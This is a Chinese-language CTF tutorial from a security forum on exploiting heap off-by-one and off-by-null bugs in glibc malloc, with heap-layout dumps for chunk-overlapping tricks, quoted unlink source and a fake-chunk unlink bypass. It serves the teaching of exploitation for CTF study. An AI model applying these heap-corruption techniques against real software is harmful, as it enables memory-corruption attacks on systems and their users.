对于堆上off-by-one的个人见解 0x00 前言off-by-one是一种堆溢出,从它的名字上来看就知道它只能够溢出一个字节。在之前很长的一段时间off-by-one漏洞被认为是不可利用的,不过这样…
对于堆上off-by-one的个人见解
0x00 前言
off-by-one是一种堆溢出,从它的名字上来看就知道它只能够溢出一个字节。在之前很长的一段时间off-by-one漏洞被认为是不可利用的,不过这样的观点已经被打破,并且off-by-one也成为了一个危害性比较大的漏洞,就算只溢出了一个字节也可以改变堆快关系来达到利用的目的。
0x01 off-by-one漏洞的原理
off-by-one漏洞顾名思义,就是我们在向缓冲区写入数据的时候由于限制条件或边界验证的不严格,导致多写入一个字节导致缓冲区溢出一个字节。我们在CTF中常见的溢出方式有:
1、在遇到用strcpy函数将某个变量或常量的值写入堆内时,复制遇到结束符\x00停止,并且在复制结束的时候在结尾写入一个\x00。那么在读入的数据和堆快的最大存储内容大小相等的时候,就会向外溢出一个字节的“\x00”,从而形成off-by-one。
2、在向堆内循环写入的时候,没有控制好循环次数而导致多写入一字节的内容,导致off-by-one
3、在CTF中出题人故意写出的off-by-one漏洞。比如:size+1<=max_content_size
0x02 off-by-one漏洞的利用思路
off-by-one漏洞的利用方式是比较有限的(其实是本人水平有限),在CTF中我们比较常见的方式只有两种:
1、chunk overlapping
2、unlink
当在CTF比赛中遇到off-by-one漏洞利用方式可以向这两个方向上来靠一靠。
0x03 off-by-one漏洞的利用方式
0x031 利用obo进行chunk overlapping
chunk overlapping要求我们能对堆块的头部进行操作,要求能够溢出覆盖到堆块size中的第一个字节,主要目的是修改size中的prev_in_use位。然而off-by-one中也有一个特殊的溢出方式——off-by-null,只能够溢出一个NULL字节。这样的话obn就不如obo利用来的随意。
0x0311 利用obo进行overlapping
利用off-by-one 对 inuse 的 fastbin 进行 extend
具体来描述堆内情况的时候,我们使用add(),edit(),delete()来分别代表增删改功能
add(0x18) #0
add(0x10) #1
add(0x10) #2
这是堆内情况为:
0000000000000000 0000000000000021 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
因为堆块0的大小为0x18,因为堆块需要对齐,所以堆块0的后0x8个字节占用了堆块1的pre_size 域,这样我们就可以通过溢出一个字节来控制堆块1的size。
程序是存在off-by-one漏洞的,我们可以写比堆块大小多1个字节的内容,
edit(0,p64(0)*3+'\x41')
0000000000000000 0000000000000021 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000041 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
第二个堆块的size被改成了0x41,将堆块3包含了起来。我们将堆块1free掉之后,观察一下
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] ← Chunk(addr=0x602010, size=0x40, flags=PREV_INUSE)
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
发现程序已经将堆块1、2一齐free掉了,但是我们还可以对堆块2进行操作,读写等。
我们再执行malloc(0x30)会将堆块1、2一齐申请回来。我们就可以对堆块2的内容进行控制,如:进行Use After Free、fastbin attack等。
利用off-by-one 对 inuse 的 smallbin 进行 extend
add(0x18)#0
add(0x80)#1
add(0x10)#2
add(0x10)#3
堆块3用于防止合成的堆块与top chunk合并,非fastbin大小的堆块处于free状态下,如果与top chunk相邻则与其合并。
此时堆内状况为:
0000000000000000 0000000000000021 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000091 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--3
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
同样的溢出方式,将堆块1的size大小修改为0xb1
edit(0,p64(0)*3+'\xb1')
堆块情况为:
0000000000000000 0000000000000021 <--0
0000000000000000 0000000000000000
0000000000000000 00000000000000b1 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--3
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
同样是我们将堆块1free掉之后,是将堆块1、2同时放入了unsortedbin中
unsorted_bins[0]: fw=0x602000, bk=0x602000
Chunk(addr=0x602010, size=0xb0, flags=PREV_INUSE)
add(0xa0)的时候就会将堆块1、2同时申请回来,以此控制堆块2的内容进行攻击。
拓展:
我们将堆快1先进行释放,将其放入unsortedbin中。
之后通过堆块0对堆块1的size进行修改为0xb1,再申请一个0xa0大小的堆块,同样会将堆块2一起申请出来,以此控制堆块2的内容。
利用off-by-one 通过 extend 后向 overlapping
这是在CTF中最常出现的overlapping利用手法
add(0x18)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x10)#4
此时堆内情况为:
0000000000000000 0000000000000021 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--3
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--4
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
同样的方法将堆块1的size修改为0x61,此时布局为:
0000000000000000 0000000000000021 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000061 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--3
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--4
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
free(1)之后,add(0x50)就可以同时控制堆块1、2、3。
利用off-by-one 通过 extend 前向 overlapping
add(0x80)#0
add(0x10)#1
add(0x18)#2
add(0x80)#3
add(0x10)#4
此时堆内状态为:
0000000000000000 0000000000000071 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000000071 <--3
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--4
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
我们先把堆块0free掉
利用将堆块3的pre_size 域修改为0xb0,将size改为0x70,
0000000000000000 0000000000000071 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
00000000000000b0 0000000000000070 <--3
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--4
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
然后我们将堆块3free掉,再申请一个大小为0x110的堆块,就可以控制堆块1和堆块2的内容。
利用了 smallbin 的 unlink 机制。
0x0312 利用obn进行overlapping
off-by-null的用处不如obo的方法多,主要的利用形式就是在通过 extend 后向 overlapping中。因为unlink机制有检测,所以利用obn将0x100整数倍的堆块的p标识位进行置0。
0x032 利用obo进行unlink
既然写到这了,就先顺带着稍微一提unlink的知识吧,之后会有一篇专门写unlink的文章。
简单的来说就是把一个双向链表中的空闲堆块拿出来,与其他物理相邻的free块进行合并。
通过源码的审计,帮助理解
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size whileconsolidating");
unlink_chunk (av, p);
}
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
if (!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
可以从malloc源码中清晰的看出在_init_free函数中调用unlink_chunk函数对空闲块进行合并。有两种合并方式向后合并及向前合并,向后指的是物理上相邻的低地址的chunk,向前则是物理上相邻的高地址的chunk。跟进unlink_chunk函数:
unlink_chunk (mstate av, mchunkptr p)
{
if(chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if(__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if(!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize !=NULL)
{
if (p->fd_nextsize->bk_nextsize != p|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize =p->fd_nextsize;
fd->bk_nextsize =p->bk_nextsize;
p->fd_nextsize->bk_nextsize= fd;
p->bk_nextsize->fd_nextsize= fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
整段代码其实并不难理解,最重要的就是我们需要通过源码中if的检测来进行unlink
我们需要的判断不过下面这两个:
1、判断要从双链表中脱链的的堆块的size有没有被篡改,如果一个低地址堆块的size与其物理相邻的高地址堆块的prev_size值不相等就会抛出错误。
if(chunksize (p) != prev_size (next_chunk (p)))
2、检查当前空闲堆块chunk的前一个chunk的bk是不是指向本身,或者是后一个堆快的fd有没有指向本身,如果不成立则抛出异常。
if(__builtin_expect (fd->bk != p || bk->fd != p, 0))
实践一下
写了个可以off-by-one的程序来demo一下
首先申请了3个堆块
我们在第二个堆快中去伪造一个chunk,然后通过obo修改第三个堆快的size部分,编辑prev_size的值为伪造chunk的大小,如下图所示:
需要注意的是我们需要将前一个堆块使用的标识位设置为零,将fake chunk的fd设置为'目标低址-0x18',将fake chunk的地址改为'目标地址-0x10',这么做的目的就是:unlink在空闲链表中卸下chunk的时候检查前后的chunk是否指向的是其自身,然而fake chunk不在链表中所以我们将他指向自身就好,这样即可以绕过检查。
0x04 后记
算是一次pwn知识的总结吧。如果有错误还请大佬斧正。
0x05 参考链接
malloc源码:https://code.woboq.org/userspace/glibc/malloc/malloc.c.html
overlapping手法:https://ctf-wiki.org/
- 本文作者: 大能猫
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1307
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!